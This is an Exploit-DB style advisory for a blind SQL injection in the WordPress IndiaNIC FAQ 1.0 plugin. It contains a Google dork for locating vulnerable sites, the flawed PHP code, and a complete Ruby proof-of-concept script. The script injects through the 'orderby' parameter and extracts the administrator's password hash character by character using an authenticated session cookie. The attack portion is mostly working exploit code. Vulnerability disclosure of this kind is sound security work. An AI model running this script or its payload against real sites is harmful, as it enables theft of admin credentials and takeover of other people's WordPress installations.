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vendor:
IndiaNIC FAQ Plugin
by:
m3tamantra
7.5
CVSS
HIGH
Blind SQL Injection
89
CWE
Product Name: IndiaNIC FAQ Plugin
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE:
CPE: a:wordpress:faqs_manager:1.0
Metasploit:
Other Scripts:
Platforms Tested: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli)
2013

WordPress IndiaNIC FAQ 1.0 Plugin Blind SQL Injection

The 'order' and 'orderby' parameter in the IndiaNIC FAQ 1.0 Plugin for WordPress is vulnerable to SQL Injection. An attacker can exploit this vulnerability by injecting malicious SQL code into the 'order' or 'orderby' parameter.

Mitigation:

Update to a patched version of the plugin or remove the plugin from the WordPress installation.
Source

Exploit-DB raw data:

# Exploit Title: WordPress IndiaNIC FAQ 1.0 Plugin Blind SQL Injection
# Google Dork: inurl:wp-content/plugins/faqs-manager
# Date: 21.03.2013
# Exploit Author: m3tamantra (http://m3tamantra.wordpress.com/blog)
# Vendor Homepage: http://wordpress.org/extend/plugins/faqs-manager/
# Software Link: http://downloads.wordpress.org/plugin/faqs-manager.zip
# Version: 1.0
# Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli)

##############
# Description:
##############
# The "order" and "orderby" parameter is vulnerable for SQL Injection
# Example URL: http://127.0.0.1:9001/wordpress/wp-admin/admin.php?page=in=
ic_faq&orderby=<sqli>
# PoC take some time to finish (15min on my Testsystem).
# I could speed it up with Multithreading but I'm to lazy right now


#### Vulnerable code part (wp_list_table.php) #############################=
###################################
#
# function prepare_items() {
#  $this->_column_headers = array($this->_columns, $this->_hidden_columns=
, $this->_sortable_columns);
#  $sort_order = isset($_GET['order']) ? $_GET['order'] : "ASC";
#  $orderby_column = isset($_GET['orderby']) ? " ORDER BY {$_GET['orderby=
']} {$sort_order}" : false;
#
#  global $wpdb;
#  if (is_array($this->_sql)) {
#    if ($orderby_column == false) {
#      $data = $this->_sql;
#    } else {
#      $data = $this->_sql;
#      usort($data, array(&$this, 'usort_reorder'));
#    }
#  } else {
#    $data = $wpdb->get_results("{$this->_sql}{$orderby_column}", ARRAY_A=
);
#  }
###########################################################################=
#####################################



#################################
#### Blind SQL Injection PoC ####
#################################
require "net/http"
require "uri"

$target = "" # EDIT ME #
$cookie = "" # EDIT ME # authenticated user session

# Example:
#$target = "http://127.0.0.1:9001/wordpress/"
#$cookie = "wordpress_a6a5d84619ae3f833460b386c064b9e5=admin%7C13640405=
45%7C86475c1a4fe1fc1fa5f1ebb04db1bc8f; wp-settings-1=editor%3Dhtml; wp-se=
ttings-time-1=1363441353; comment_author_a6a5d84619ae3f833460b386c064b9e5=
=tony; comment_author_email_a6a5d84619ae3f833460b386c064b9e5=tony%40bau=
er.de; comment_author_url_a6a5d84619ae3f833460b386c064b9e5=http%3A%2F%2Fs=
ucker.de; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_a6a5=
d84619ae3f833460b386c064b9e5=admin%7C1364040545%7Cd7053b96adaa95745023b91=
694bf30ef; PHPSESSID=1h7f2o5defu6oa8iti6mqnevc7; bp-activity-oldestpage=
=1"

if $target.eql?("") or $cookie.eql?("")
    puts "\n[!]\tPlease set $target and $cookie variable\n"
    raise
end

$chars = ["."] + ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
$hash = "$P$"
$i = 0 # chars index
$j = 4 # hash index


def sqli_send()
    sqli = URI.escape("(CASE WHEN ((SELECT ASCII(SUBSTRING(user_pass, #{$=
j}, 1)) FROM wp_users WHERE id = 1) = #{$chars[$i].ord}) THEN 1 ELSE 1*=
(SELECT table_name FROM information_schema.tables)END) --")
    uri = URI.parse("#{$target}wp-admin/admin.php?page=inic_faq&orderby=
=#{sqli}")
    http = Net::HTTP.new(uri.host, uri.port)
    #http.set_debug_output($stderr)
    request = Net::HTTP::Get.new(uri.request_uri)
    request["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;=
 rv:19.0) Gecko/20100101 Firefox/19.0"
    request["Cookie"] = $cookie
    resp = http.request(request)
    if( resp.code != "200" )
        puts "something is wrong response = #{resp.code}"
        raise
    end
    # In WordPress default settings there will no SQL error displayed
    # but when an error apperes we don't get any result.
    # The PoC search for "No record found" and suppose there was an error
    return resp.body().match(/No record found/)=20
end

def print_status()
    output = "HASH: #{$hash} try #{$chars[$i]}"
    print "\b"*output.length + output
end

while( $hash.length < 34 )
    if( !sqli_send() )
        $hash += $chars[$i]
        $j += 1
        $i = 0
    else
        $i += 1
    end
    print_status()
end
puts "\n[+]\thave a nice day :-)\n"